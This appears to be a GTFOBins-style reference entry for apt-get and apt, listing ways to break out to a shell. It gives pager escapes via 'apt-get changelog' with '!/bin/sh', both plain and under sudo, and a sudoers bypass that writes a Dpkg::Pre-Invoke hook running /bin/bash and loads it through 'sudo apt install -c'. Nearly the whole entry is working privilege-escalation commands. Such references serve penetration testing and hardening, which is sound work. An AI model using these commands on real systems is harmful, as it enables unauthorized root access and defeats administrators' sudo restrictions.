| description |
code |
| This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. |
apt-get changelog apt
!/bin/sh
|
|
|
| description |
code |
| This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. |
sudo apt-get changelog apt
!/bin/sh
|
|
| description |
code |
| Sometimes, only some subcommands of `apt` are enabled by sysadmin in the sudoers file. When only `apt install *` is allowed, you can use: |
echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
sudo apt install -c ./test.conf sl
|
|
|